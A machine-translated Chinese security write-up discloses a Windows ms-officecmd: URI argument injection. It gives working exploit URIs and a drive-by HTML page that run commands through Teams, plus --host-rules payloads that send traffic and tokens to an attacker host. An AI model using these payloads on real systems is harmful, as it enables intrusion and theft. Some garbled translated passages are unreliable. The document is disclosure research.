Windows 10 RCE exp就在链接中

Windows 10 RCE exp就在链接中

黑客技术

背景

  • 我们通过 IE11/Edge Legacy 和 MS Teams 在 Windows 10 上发现了一个驱动代码执行漏洞，该漏洞由 Windows 10/11 默认处理程序中的ms-officecmd:URI参数注入触发
  • 通过其他浏览器进行利用需要受害者接受一个不起眼的确认对话框。或者，恶意 URI 可以通过执行不安全 URL 处理的桌面应用程序传送
  • Microsoft Bug Bounty Program (MSRC) 的反应很差：最初，他们误判并完全驳回了这个问题。在我们上诉之后，该问题被归类为“严重，RCE”，但只有 10% 的悬赏金额被授予（5000 美元对 50000 美元）。他们在 5 个月后提出的补丁未能正确解决潜在的参数注入（目前 Windows 11 上仍然存在）
  • 我们的研究过程很简单：我们决定在默认的 Windows 10 URI 处理程序中找到一个代码执行漏洞，并在两周内成功。考虑到 Windows 附带的 URI 处理程序的数量，其他人似乎也很可能容易受到攻击

exp/演示

代码执行由恶意网站触发，该网站执行 Javascript 重定向到精心设计的ms-officecmd:URI（Microsoft Office UWP 应用程序用于启动其他 Office 桌面应用程序的方案）。我们利用 URI 处理程序中的参数注入漏洞并绕过 Electron 中的安全措施，通过--gpu-launcherMicrosoft Teams Electron 应用程序的参数注入任意操作系统命令。

通过 MS Edge 在 Windows 10 上驱动 RCE

这是ms-officecmd:上面视频中使用的精心制作的URI（JSON 缩进以提高可读性）：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c ping 2016843009 && \""
   }
}

Internet Explorer 和 Microsoft Edge Legacy 以外的浏览器在打开恶意 URI 之前会显示一个相当不显眼的确认对话框：

Windows 10 RCE exp就在链接中
显示 IE 和 Edge Legacy 中缺少的确认对话框的不同浏览器

作为通过恶意网站进行利用的替代方法，ms-officecmd:还可以通过执行不安全 URL 处理的桌面应用程序传送精心制作的URI 。

此特定漏洞利用的先决条件是已安装 Microsoft Teams 但未运行。在以下部分中，我们还将展示如何在有和没有 MS Teams 帮助的情况下以其他方式滥用方案和参数注入。

注意：虽然在进行本研究时 Windows 11 尚未发布，但它也（仍然）受到ms-officecmd:URI 处理程序中相同参数注入漏洞的影响。

如果您对所有技术细节感兴趣，但时间不够，您也可以直接跳到我们提交给 Microsoft的漏洞报告。

ToC / 研究之旅

Windows 10 RCE exp就在链接中

动机：改进恶意 URI 攻击场景

2021 年 1 月，我们花了一些时间分析流行的桌面应用程序如何处理用户提供的 URI，并在其中大部分发现了代码执行漏洞。可以在2021 年 4 月的帖子中找到我们发现的详细记录。

我们的调查结果的展示开发在Windows上，我们主要利用的文件的相关方案（nfs，dav，file，…）加上托管在互联网访问文件共享的可执行文件/ jar文件。这些有效载荷的一个警告是，它们要么需要安装 Java，要么需要一个对话框来运行要确认的可执行文件。

在此过程中，我们还发现了WinSCP 的 URI 处理中的代码执行漏洞。WinSCP 是在 Windows 上处理各种 URI 方案的事实标准，但它并未预装在操作系统中。

第 3 方 URI 处理程序中的漏洞并不新鲜，之前的示例包括：

我们希望通过在 Windows 预装的 URI 处理程序中找到代码执行漏洞，进一步改进基于恶意 URI 的攻击场景。

枚举 Windows 10 中的 URI 处理程序

Windows 10 带有大量与不同操作系统功能或其他 Microsoft 软件相关的自定义 URI 处理程序。

出于我们的目的，查找已注册 URI 处理程序的一种非常方便的方法是在注册表中重复搜索“URL 协议”：

Windows 10 RCE exp就在链接中

任何命中都Computer\HKEY_CLASSES_ROOT\*意味着包含文件夹的名称对应于已注册 URI 处理程序的方案。注册表还包含有关这些的更多信息，例如用于调用相应处理程序的 shell 命令。一个非常简单和更实用的方法来帮助找出与该方案相关的内容是在浏览器地址栏中输入它，然后是 ，然后按:回车：

通过 Edge 的 `calculator:` 方案打开 calc.exe

ms-officecmd：由于其明显的复杂性而有趣

该ms-officecmd:计划因其有前途的名称而立即引起了我们的注意：MS Office 是一个非常复杂的应用程序套件，具有许多遗留功能和悠久的可利用历史。最重要的是，该方案以“命令”的缩写结尾，这意味着更多的复杂性和注入的潜力。

当我们开始使用它时，我们注意到一个名为的可执行文件LocalBridge.exe会短暂运行，但没有明显的外部影响。为了更深入地了解发生了什么，我们查看了 Windows 事件日志，其中包含一些非常有用的信息：

Windows 10 RCE exp就在链接中
.NET JsonReaderException 通过打开 URI `ms-officecmd:invalid` 触发

打开由空的有效 JSON 负载组成的 URI 时不会发生相同的异常ms-officecmd:{}，这为我们提供了有关有效 URI 结构是什么样子的第一个提示。

观察 URI 处理程序中的 JSON 解析最终证实ms-officecmd:URI 有潜力做非常复杂的事情。我们决心确切地找出他们能做什么。

逆向 LocalBridge.exe 和 AppBridge.dll

为了了解更多信息，我们决定从反编译开始LocalBridge.exe：

Windows 10 RCE exp就在链接中
`LocalBridge.exe` 的反编译源：URI 验证和 `LaunchOfficeAppValidated` 调用 (dotPeek)

C# 代码包含有关有效 JSON 有效负载结构的更多信息。在它的帮助下，我们再次开始实验：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "name": "Word"
       },
       "filename": "C:\\Windows\\System32\\calc.exe"
   }
}

不幸的是，这并没有引起LocalBridge.exe. 更深入的意思是分析AppBridge.dll下一步，因为它包含LaunchOfficeAppValidated最终将 JSON 有效负载传递给的方法：

Windows 10 RCE exp就在链接中
`LocalBridge.exe` 的反编译源：从 `AppBridge.dll` (dotPeek) 导入的 `LaunchOfficeAppValidated`

我们通过反汇编原生AppBridge.dll库提取了更多潜在的 JSON 属性名称，但如何使用它们并不是很明显。

Windows 10 RCE exp就在链接中
`AppBridge.dll`：相关的 unicode 字符串（来自 Ghidra）

调试 Office UWP 应用 (Electron PWA)

当对LocalBridge.exe/的分析AppBridge.dll没有很快产生预期的结果时，我们同时采用了一种不同的方法：与其剖析处理ms-officecmd:URI的应用程序，我们还可以尝试检查生成此类 URI 的应用程序。

虽然我们不确定哪些应用程序会这样做，但我们之前偶然发现了 Office UWP 应用程序，由于以下原因，它被认为是一个可能的候选应用程序：

  • 该应用程序可以通过自定义方案打开ms-officeapp:，这看起来与我们研究的主题非常相似，ms-officecmd:
  • 该应用程序的行为与https://www.office.com/上的 Office365 网络界面几乎相同，不同之处在于它允许打开一些无法从网络打开的桌面应用程序
Windows 10 RCE exp就在链接中
Office UWP 应用预装在 Windows 10 上

直觉表明，ms-officecmd:每当 Office UWP 应用触发要打开的 Office 桌面应用程序时，就会在内部使用该方案。这个怀疑后来得到了证实。

使用 Microsoft 自己的“Edge DevTools Preview”应用程序，我们能够进入流程并调试 Office UWP 应用程序。

Windows 10 RCE exp就在链接中
Microsoft Edge DevTools Preview（右）提供 Office UWP 应用（左）作为调试目标

获取我们想要的信息既快速又简单：

  1. 执行全局源代码搜索 ( ctrl+ shift+ f) 以查找我们的方案关键字“ms-officecmd”的出现：找到的唯一出现是launchProtocol常量的定义
  2. 执行另一个搜索以查找launchProtocol常量的用法：在launchViaProtocol方法中找到第一个命中，看起来很有希望
  3. 添加断点launchViaProtocol并尝试触发它：单击左侧栏上的Outlook图标实现了这一点
  4. 从局部变量中提取 JSON 负载结构
Windows 10 RCE exp就在链接中
Office UWP 应用：`launchProtocol` 常量定义（Edge DevTools 预览版）
Windows 10 RCE exp就在链接中
Office UWP 应用：`ms-officecmd:` 从局部变量 `n` 中提取的 JSON 负载（Edge DevTools 预览版）

恢复 JSON 有效负载的更快替代方法是使用Microsoft Sysinternals Process Monitor 工具记录Process Create与LocalBridge.exe以下相关的事件：

Windows 10 RCE exp就在链接中
`ms-officecmd:` 进程监视器显示的 JSON 有效负载

ms-officecmd：基本的 JSON 负载结构

使用提取的 JSON 负载，我们终于能够通过ms-officecmd:URI打开 Office 桌面应用程序。具体来说，从 Office UWP 应用中提取的负载可用于打开 Outlook：

ms-officecmd:{
   "id": 3,
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 8,
           "name": "Outlook",
           "discovered": {
               "command": "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"
           }
       },
       "filename": ""
   }
}

在随后的测试中，很明显可以操纵两个属性属性以立即观察到效果：

  • appId: 要打开的 Office 桌面应用程序
  • filename: 要在指定应用程序中打开的文件的文件路径或 URL

在name和command性能进行了验证，并用较低的优先级处理，而id属性似乎只能用于遥测。

ffice 的机器上，我们列举了以下appId映射：

  • 1: Access
  • 2: Excel
  • 5: Teams
  • 6: Skype for Business
  • 7: OneDrive
  • 8: Outlook
  • 10: PowerPoint
  • 12: Publisher
  • 14: Word
  • 18: OneNote
  • 21: Skype

Outlook 网络钓鱼问题

第一个值得注意的发现是，当http(s)在filename属性中提供 URL 时，Outlook 会在 IE11 驱动的嵌入式 web 视图中呈现相应的网页。没有说明网页的来源，甚至没有提供显示内容源自外部网页的事实。这种行为可能会被滥用来发起非常可信的网络钓鱼攻击，特别是因为mailto:根据本地配置，链接可能会打开用户的电子邮件程序：

使用 `ms-officecmd:` 和 Outlook 进行网络钓鱼攻击：Outlook 窗口内显示的登录表单是攻击者控制的网页

Outlook 代码执行问题

Outlook 的意外打开行为也可能被滥用，以通过更多用户交互实现代码执行。虽然 Outlook 不允许使用file://URL，但允许使用C:// “url 方案”，稍后将其视为本地路径的驱动器号。此外，我们添加了一个/绕过文件扩展名 check in的尾随AppBridge.dll，但稍后在打开可执行文件时会被忽略。

这个 PoC 要求用户确认一个额外的警告对话框，但我们认为上下文足以误导一些更高级的用户接受：

使用 `ms-officecmd:` 和 Outlook 从 Chrome 进行用户交互的 RCE 攻击

以下是点击恶意网页上的链接时发生的情况：

  1. outlook.exe通过动态添加指向 exe 的 iframe 将名为的恶意可执行文件保存到受害者的下载文件夹（在我们的演示中，这是一个重命名的“PuTTY”可执行文件）
  2. 看似无辜的mailto:链接目标被替换为恶意ms-officecmd:URI，该 URI 在其filename属性中引用了下载的可执行文件（注意左下角的悬停链接预览）
  3. 用户确认“打开 LocalBridge？” 对话框（不是明确的安全警告）
  4. 当 Outlook 启动时，它会显示一个关于打开潜在不安全超链接的警告对话框。用户确认打开本地“outlook.exe”文件，因为他们希望打开 Outlook
  5. 下载的文件被执行（弹出PuTTY窗口）

filename 属性参数注入

上面显示的问题filename通过提供仅在 Outlook 应用程序上下文中意外和错误处理的值来滥用属性，但在ms-officecmd:URI 处理程序的更抽象上下文中可能是完全有效和预期的：除了具有多个的本地文件路径对于不同的文件扩展名，大多数 Office 应用程序都允许通过http(s)URL直接打开托管在 Web 上的文档，就像 Microsoft SharePoint/OneDrive 中的文件一样。

我们的下一个发现通过攻击filenameURI 处理程序本身处理属性的方式，进一步推动了滥用的可能性。即使没有完全详细了解 的内部工作原理AppBridge.dll，也可以相对安全地假设，为了使用指定的参数打开指定的 Office 应用程序，URI 处理程序最终要么生成并执行 shell 命令，要么直接运行其可执行文件. 在任何情况下，攻击者控制的filename属性都需要作为 shell 命令的一部分或参数传递。当我们尝试使用常见的命令和参数注入技术时，我们发现可以使用简单的" （双引号 + 空格）序列打破文件名规范。

此参数注入代表了此处概述的发现的核心中最重要的问题。在我们开始实际利用之前，这里有一个视频演示了最基本级别的参数注入：

使用 `filename` 参数注入来注入 `/q` 开关：注意打开第二个 URI 时没有蓝色启动（加载）屏幕

这是视频中使用的 URI（需要对引号进行转义以免破坏 JSON）：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 14,
           "name": "Word",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "https://example.com/\" /q"
   }
}

加载恶意 Word/Excel 加载项

在发现可以将参数注入 Office 应用程序的启动命令后，我们的下一步自然是检查哪些类型的参数可供我们使用。在已记录的 Microsoft Office 产品命令行开关中，与在启动时加载加载项有关的那些似乎最有希望。

我们试验了以下加载项类型：

  • 普通.dll和.wll文件
  • VSTO 插件
  • “Office”（网络）加载项

不幸的是，我们无法使应用程序在启动时正确加载我们精心制作的任何加载项。

Windows 10 RCE exp就在链接中
尝试使用“-l”开关加载 Word 加载项失败，因为应用程序似乎将其解释为要打开的文档文件

Teams MITM，身份验证泄漏使用 --host-rules

虽然我们对以文档为中心的 Office 应用程序的参数注入实验并没有产生更多对现实世界攻击者很感兴趣的发现，但还有另一组应用程序显示了很多希望：Microsoft Teams 和 Skype 基于Electron 框架，因此配备了大量有用的Electron 命令行参数和Node.js 命令行参数。

我们能够确认其滥用潜力的这些论点中的第一个是--host-rules。此参数可用于重新映射 IP 地址和主机名，从而将应用程序的所有相关网络流量定向到所选目标。使用新域作为映射目标时，只要为新域正确设置了 TLS，就不会出现 TLS 错误。通过添加--ignore-certificate-errors开关，甚至不需要。借助反向代理，甚至只是侦听 Web 服务器，攻击者可以提取发送到 Microsoft Teams 后端服务的所有敏感信息，包括身份验证令牌和消息。还可以利用反向代理来修改 API 响应，并向受害者冒充任何​​ MS Teams 用户。

当我们试图制作一个有效的有效载荷以注入这些参数时，我们不得不克服另外两个障碍：

  1. 作为对关键 CVE-2018-1000006的修复，Electron 更改了他们的命令行解析逻辑，以在 URI 之后删除其他参数。检查源代码，我们发现1 字母 URI 方案的一个例外，以跳过对包含驱动器号（即C:/）的Windows 文件路径的过滤。这允许我们在filename像 那样的虚假前缀之后注入 Electron 参数a:/b/，Electron 和AppBridge.dll
  2. MS队有时会无法启动filename包含参数.（周期）字符由于在文件扩展名检查AppBridge.dll。在下面的视频中，通过将目标 IP 地址3.64.176.207转换为其整数格式来绕过此检查54571215
使用注入的 `–host-rules` 和 `–ignore-certificate-errors` 参数将 MS Teams https 流量重定向到我们自己的服务器

请注意，在此演示视频中，请求并未转发到 Team 的真实后端，从而导致连接错误。

这是视频中使用的 URI：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "teams.exe",
               "uri": "msteams"
           }
       },
       "filename": "a:/b/ --ignore-certificate-errors --host-rules=\"MAP * 54571215\""
   }
}

通过--inspect调试器从本地网络执行 Teams/Skype 代码

另一个有前途的参数是 Node.js--inspect参数，它可用于调试 Node.js Javascript 环境。该参数指定可用于连接调试器的网络接口和端口号。出于安全原因，127.0.0.1默认情况下只能通过本地接口进行调试。在下面的视频中，我们通过--inspect="0.0.0.0:28966"开关覆盖了该设置，以便在端口 28966 上为任何网络接口接受调试器连接。连接调试器后，我们使用标准的 Node.js 库来执行我们的命令：require("child_process").exec("<command>")

再次制作有效的有效载荷需要一些技巧：

  1. 由于filenameSkype是这样打开时对参数的处理方式，"所以在注入其他参数之前，需要在假文件名后多加一个字符
  2. 指定侦听接口时，不接受IP地址整数格式，迫使我们包含.字符。因此，这一次，我们AppBridge.dll通过/在恶意filename负载的末尾添加一个字符来绕过文件扩展名检查
通过单击 VM 内的恶意链接并将调试器从主机系统连接到 Skype 进程来展示本地网络漏洞

这是视频中使用的 URI：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 21,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/\" --inspect=\"0.0.0.0:28966\" /"
   }
}

请注意，对于易受攻击的设置，此攻击还可以与例如DNS 重新绑定或（最近改进的）NAT Slipstreaming技术相结合，以通过浏览器实现 RCE，而无需本地网络访问。

团队通过--inspect调试器和 MITM执行代码并绕过 SOP

我们实际上还没有确认这个潜在的漏洞可以工作，但无论如何都想分享它的想法，因为我们发现它的设置很有趣。最终，我们从未尝试利用它，因为在我们准备采用与此处所需的一样复杂的设置之前，我们使用下一节中描述的方法实现了完整的 RCE。

这个想法是将上面部分中的--host-rules和--inspect开关与--disable-web-securityChromium 开关结合起来，这应该允许我们利用我们对 Chromium Javascript 上下文的控制来连接到 Node.js 调试器并执行任意命令：

  1. MS Teams 是通过恶意网站启动的，注入了以下参数：
    • --host-rules="MAP <ms_teams_resources_host> <attacker_host>"
    • --ignore-certificate-errors
    • --inspect=1337
    • --disable-web-security
  2. 在启动期间，恶意反向代理/Web 服务器<attacker_host>修改构成 Teams UI 的合法资源文件，以包含将在嵌入 Electron 的 Chromium 浏览器上下文中执行的恶意 Javascript 有效负载
  3. Electron Chromium 浏览器中的恶意 Javascript 请求 Node.js 调试器元数据端点http://127.0.0.1:1337/json/list以检索<random_uuid>调试器连接所需的数据。该--disable-web-security开关应禁用同源策略，使响应对恶意 Javascript 上下文可见
  4. Electron Chromium 浏览器中的恶意 Javascript 连接到调试端点ws://127.0.0.1:1337/<random_uuid>以控制 Node.js 进程并执行操作系统命令

通过--gpu-launcher命令注入的团队代码执行

根据我们在开始向 Microsoft 提交报告之前所做的最后一项发现，我们终于通过恶意ms-officecmd:URI 实现了任意代码执行。此 PoC 的先决条件是安装了 MS Teams 但未运行。

我们的恶意负载基于CVE-2018-1000006 的漏洞利用，它利用--gpu-launcher参数注入在 Electron 应用程序启动时执行的任意命令。为了利用我们的参数注入和 MS Teams 进行漏洞利用，我们需要：

  1. filename使用 1 个字符的 URI 方案启动参数以通过AppBridge.dll验证，但也不会遇到针对 CVE-2018-1000006 的 Electron 修复（Electron 仍然允许在 Windows 文件名之后添加额外的参数，例如“C:”​​）
  2. 注入额外的--disable-gpu-sandbox参数
  3. AppBridge.dll通过放弃.字符或将 a 附加/到恶意filename值来绕过文件扩展名检查
  4. 添加一个可用于链接命令的 shell 指令，例如 && 在我们注入的命令的末尾，以保持整体有效的语法
‍‍通过MS Edge和Teams与用户交互的任意代码执行

有效负载可能如下所示：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
   }
}

Skype 预装在 Windows 10 上，可以通过在--secondary启动命令中添加参数来并行启动 Skype 的多个实例。因此，如果发现有效负载通过 Skype 应用程序利用此问题，它应该可以在没有任何先决条件的情况下在默认的 Windows 10 安装上运行。我们试图为 Skype 找到有效的有效载荷，但没有成功。当发现Skype易受 CVE-2018-1000006 攻击时，似乎有可能为 Skype 实施了额外的安全措施。

团队通过--gpu-launcher命令注入对 IE11/Edge Legacy 进行偷渡式漏洞利用

在这一点上，我们对我们的发现非常满意，并开始为 Microsoft 编写错误报告。就在我们即将提交报告时，我们注意到 MSRC 报告流程包括一个强制性的下拉选项，用于指定是否可以在最新的 Windows 版本的“Windows Insider Dev Channel”上重现报告的漏洞。由于 Microsoft 为此类问题提供了 5 万美元的巨额奖金，并且我们认为对必填表单字段进行尽职调查会提高我们报告的质量评级，因此我们很高兴安装该版本的最新版本的 Windows 10通道并验证我们的漏洞也可以在那里工作。

Windows 10 RCE exp就在链接中
MSRC 报告流程询问“此是否在 Windows Insider Dev Channel 上重现？”

令我们惊讶的是，该漏洞不仅有效，而且通过简单地添加一些点击恶意链接的 JavaScript，预装的 Internet Explorer 11 和（现已过时的）MS Edge 的“旧版”版本可能会被滥用以触发代码执行除了浏览恶意网站之外，没有任何用户交互。由于我们最初的动机是改进我们之前涉及打开任意 URI 的桌面应用程序的攻击场景，因此我们没有过多考虑浏览器的利用，只是假设所有现代浏览器在处理诸如ms-officecmd. 事实证明，该假设是错误的，正如 MS Edge Legacy 所证明的那样：

通过 MS Edge 在 Windows 10 上驱动 RCE

这是上面视频中使用的有效载荷：

<html>
Exploit in progress <a id="l" href="ms-officecmd:{&quot;id&quot;:3,&quot;LocalProviders.LaunchOfficeAppForResult&quot;:{&quot;details&quot;:{&quot;appId&quot;:5,&quot;name&quot;:&quot;Teams&quot;,&quot;discovered&quot;:{&quot;command&quot;:&quot;teams.exe&quot;,&quot;uri&quot;:&quot;msteams&quot;}},&quot;filename&quot;:&quot;a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\&quot;C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&amp;&amp;%20\&quot;&quot;}}"></a>
<script>document.getElementById("l").click(); </script>

有了这个视频证据，我们提交了我们的报告。

MSRC 响应

分流期间缺乏技术理解

我们的初始报告在提交一天后被错误地关闭为不适用。

[…] 不幸的是，您的报告似乎依赖于社会工程来完成，这不符合安全漏洞的定义。[…]

只有在我们上诉后，问题才重新开放并归类为“严重，RCE”。

不情愿，缓慢的沟通

一周后，我们收到了第一封电子邮件。此后的任何沟通尝试通常都会遭到数周的沉默，并要求我们跟进（请参阅下面的时间表）。

补救不足

这篇博文中描述的参数注入漏洞仍然存在于完全修补的 Windows 10 和 11 系统上。5 个月后发布的补丁似乎只影响 Teams 和 Skype。虽然它确实阻止了这里描述的 RCE PoC 的利用，但我们相信可能还有其他方法可以利用参数注入来实现代码执行。

在我们将此事提请 Microsoft 关注后，他们说他们已经准备了另一个补丁来解决参数注入问题，并允许我们独立于其发布发布这篇文章。在发布这篇博文时，我们仍然可以注入任意参数并在完全修补的 Windows 10/11 系统上执行例如 Outlook 网络钓鱼攻击。

不与公众沟通

没有分配 CVE 或发布公告来通知公众有关风险，微软解释如下：

不幸的是，在这种情况下，没有与报告相关的 CVE 或建议。我们创建的大多数 CVE 都是为了向用户解释为什么通过 Windows 更新发送某些补丁以及为什么应该安装它们。对网站的更改、通过 Defender 或通过商店下载通常不会以相同的方式附加 CVE。在这种情况下，修复没有通过 Windows 更新完成。

误导性的赏金广告

虽然他们为这份报告支付了 5000 美元，但 MS根据某些标准为其漏洞赏金计划宣传了特殊的攻击场景奖。我们认为，我们的报告应符合第二个描述的“在很少或没有用户交互的情况下对私人用户数据进行未经身份验证和未经授权的访问”的情况，最高奖励为 50,000 美元。

MS 的某个人必须同意我们的观点，因为该报告为我们赢得了 180研究人员认可计划积分，这个数字我们只能解释为 60 基点，并应用了“合格攻击场景”的 3 倍奖励乘数。

当我们询问赏金金额时，我们被提示提供一个 PoC，不需要受害者确认附加的“此站点正在尝试打开 LocalBridge”。对话：

至于第二种攻击场景（远程（假设没有事先执行），在很少或没有用户交互的情况下证明未经身份验证和未经授权访问私人用户数据），这种情况不需要事先执行，并且在你的案例中展示的信息泄漏需要交互进入代码执行阶段。
如果您可以提供一个导致 RCE 的示例，而无需提示我们支持的产品之一，我们很乐意重新审查案例以获得可能的攻击场景赏金奖励。

我们遵守并回应了演示视频，显示了 IE 11 上的路过式漏洞利用，即使：

  • 我们不相信“此站点正在尝试打开 LocalBridge”。对话应该从第二个攻击场景中排除问题，该场景明确允许很少的用户交互
  • 我们的初步报告已经包含了一个关于在 Edge 浏览器上没有提示的路过式漏洞利用的 PoC 视频，该视频包含在当时最新的 Windows 10 内部开发频道版本中（这是我们意识到“Microsoft Edge Legacy”被宣布为 EOL 的时候） 2021年 3月 9日，正好是我们于 2021年 3月 10日提交 MSRC 原始报告的前一天）。

MS 最终拒绝了对赏金金额的潜在调整：

[…] 此案仍将属于一般裁决的范围。只能通过 Internet Explorer 访问的漏洞不在我们今天的赏金计划范围内 […]

考虑到IE 在 2022-06-15 之前仍然“受支持”，我们发现此声明令人惊讶。

时间线

2021-03-10通过https://msrc.microsoft.com/初步披露
2021-03-11MS 关闭了我们的初始报告“[..] 您的报告似乎依赖于社会工程 [..]”
2021-03-11我们提交第二份报告以上诉
2021-03-17MS 重新打开我们的原始报告
2021-03-27MS 确认报告的行为
2021-04-07MS 确认了 5,000 美元的奖励
2021-04-07我们询问了赏金金额
2021-04-08我们获得了 180分
2021-04-26我们从 2021-04-07
2021-05-17跟进我们的电子邮件我们再次跟进
2021-05-18MS 要求我们“提供一个导致 RCE 的例子，而没有提示”
2021-05-18我们回复了 IE 11
2021-06-07路过PoC 视频我们从 2021-05-18
2021-06-24跟进我们的电子邮件我们再次跟进
2021-06-24MS 拒绝调整赏金“只能通过 Internet Explorer 访问的漏洞不在我们今天的赏金计划范围内”
2021-08-31我们对现在“完整”报告的重新测试表明我们的 RCE PoC 不再起作用，但参数注入是未修补
2021-08-31我们敦促 MS 修补参数注入并给他们 4 周的时间要求延迟这篇文章的计划发布日期
2021-09-16MS 表示应在接下来的几天内推出修复参数注入的补丁
2021-12-07我们正在发布这篇博文

原始 MSRC 报告

通过不安全的ms-officecmd:默认 URI 处理程序执行 Windows 10 远程代码

概括

当 Windows 10 用户使用 Edge 访问恶意网站，或单击任何应用程序中的恶意“ms-officecmd:”链接时，可以在受害者的计算机上执行任意命令。恶意链接可能如下所示：

ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}

附加了一个演示视频，展示了通过 Edge 在最新的 Windows Insider Dev Channel 上的驱动开发（1_RCE_driveby.mp4；PoC：1_RCE_driveby.html）。
另一个浏览器演示视频显示了通过单击链接进行攻击。(2_Browser_1click_RCE.mp4，PoC 页面：2_Browser_1click_RCE.html)
注意：这些 PoC 需要安装 MS Teams。

有效载荷摘要：

  • 整体 JSON 结构符合 LocalBridge.exe/AppBridge.dll 的期望，并指示此 URI 处理程序appId: 5使用filenameas 参数调用 Microsoft Teams 可执行文件（via ）
  • filename 必须以 1 个字符的 URI 方案开头才能通过 AppBridge.dll 验证，但也不会遇到针对 CVE-2018-1000006 的 Electron 修复（Electron 仍然允许在 Windows 文件名之后添加其他参数，例如“C:”​​）
  • 然后通过文件名值注入额外的参数，以禁用 GPU 沙箱，并在应用程序的 GPU 进程作为应用程序启动进程的一部分启动时执行的负载命令

除了直接 RCE via 之外--gpu-launcher，还有其他几种攻击场景：

  • --host-rules为完整的 Electron MitM注入参数（例如，检索 Teams 消息和 Auth 令牌）
  • 注入--inspect=0.0.0.0:1234参数以使用 Electron 应用程序启动本地节点调试服务器。然后本地网络中的攻击者可以连接到该端口并运行本机代码（也以 Skype 为目标进行了测试）
  • 注入特定/l于应用程序的参数，例如Word 中的开关以从 UNC 路径加载加载项 [1]。（虽然我们已经测试了接受 UNC 路径，但我们还没有评估加载恶意 Office 加载项的影响）

即使没有参数注入，我们发现以下两种攻击是可能的：

  • 使用 Web URL 作为参数启动 Outlook 会在 Outlook 中打开此网页，从而允许非常可信的网络钓鱼攻击
  • 使用该格式的 URL 启动 Outlook C:/.../some.exe/（附加斜杠以通过 AppBridge.dll 验证）使 Outlook 将该链接解析为本地文件链接并重定向到/打开/执行该文件。这可以与 Chrome 的自动下载行为相结合，以在安全警告后获得随意的代码执行

该漏洞位于 Windows 10 的默认 URI 处理程序中，可被各种应用程序利用。例如，随附的 3_Thunderbird_RCE.mp4 通过在 Thunderbird 中打开链接来展示利用。

额外细节

在默认的 Windows 10 安装中，LocalBridge.exe 被关联为“ms-officecmd:”URI 方案的（唯一）处理程序。该方案由 Office PWA 应用程序在内部使用以启动其他 Microsoft 应用程序，但此类链接可由任何应用程序打开，例如 Web 浏览器、电子邮件客户端或即时通讯工具。LocalBridge.exe (C#) 解析 JSON，执行轻量级验证，当遇到“LocalProviders.LaunchOfficeAppForResult”键时，调用原生 AppBridge.dll 中实现的“LaunchOfficeAppValidated”函数。
LaunchOfficeAppValidated 使用来自的信息details再次搜索正确的可执行文件（通过MyOffice::AppDiscovery::ResolveBest/MakeW32AppDiscovery)，以确保仅启动特定的 Microsoft 应用程序。对文件名值执行额外检查，例如以确保它是有效的 URI 并且不以恶意文件扩展名结尾。

我们调查了能够使用用户选择的 URI 参数启动这些 Microsoft 应用程序的潜在影响，并发现两个使用 Outlook 的攻击向量：

  1. 高级网络钓鱼：使用 https URL 启动 Outlook 时，网站会加载到 Outlook UI 中（没有地址栏）。显示克隆的 Office 登录页面会导致非常可信的网络钓鱼攻击，尤其是当用户之前单击电子邮件地址并希望打开 Outlook 时。附上演示视频 (4_Outlook_Phishing.mp4)。
  2. 代码执行：Outlook 不处理file://URL，但将方案“C:/”的 URL 视为本地文件链接。当使用指向本地 exe 文件的“URI”参数打开 Outlook 时，Outlook 会要求用户授予打开链接的权限，并在授予权限后执行本地文件。附加的 PoC (3_Outlook_RCE_files.tar.gz) 将其与 Chrome 的自动下载行为（以及 onclick-href 重写）相结合，以通过额外的用户交互获得任意代码执行。（演示视频：5_Outlook_Chrome_RCE.mp4）

此外，可以通过引号转义和 URI 编码注入额外的参数。然后，由于其复杂性，我们专注于利用可启动的电子应用程序（特别是团队），并检查除了特定于应用程序的命令行参数之外，是否可以注入 Electron/Chromium/Node.js 参数。
作为对关键 CVE-2018-1000006 [2] 的修复，Electron.js 更改了命令行解析以防止在 URI 之后添加额外参数。通过检查源代码，我们发现了 1 个字母 URI 方案的例外情况，以防止包含驱动器号 (“C:/”)[3] 的 Windows 文件名意外触发。当这个 1 个字母的 URI 通过 AppBridge.dll 检查时，我们可以向 Electron 应用程序注入额外的参数，可以通过以下方式利用这些参数：

  1. --gpu-launcher：类似于 CVE-2018-1000006 的 RCE 漏洞利用。在这种情况下，--disable-gpu-sandbox还需要设置标志才能成功利用。否则，外部进程被创建，但立即再次退出。
  2. --host-rules="MAP * evil.com"：此选项允许将任何域重新映射到攻击者控制的域，从而以明文形式拦截所有 Chromium 流量，包括发送的消息和 Office365 SSO 身份验证令牌。当使用有效evil.com证书时，这不会导致 TLS 错误，并且可以使用附加--ignore-certificate-errors参数完全禁用 TLS 检查。作为中间人，攻击者还可以注入 JavaScript（并剥离 CSP 标头）。
  3. --inspect=0.0.0.0:1234：启动本地 node.js 调试服务器并使其在所有网络接口上可用。本地网络中的攻击者可以通过访问/json/list该 Web 服务器来检索完整的端点 URL ，然后连接到调试 Websocket 服务器以运行任意本机代码。
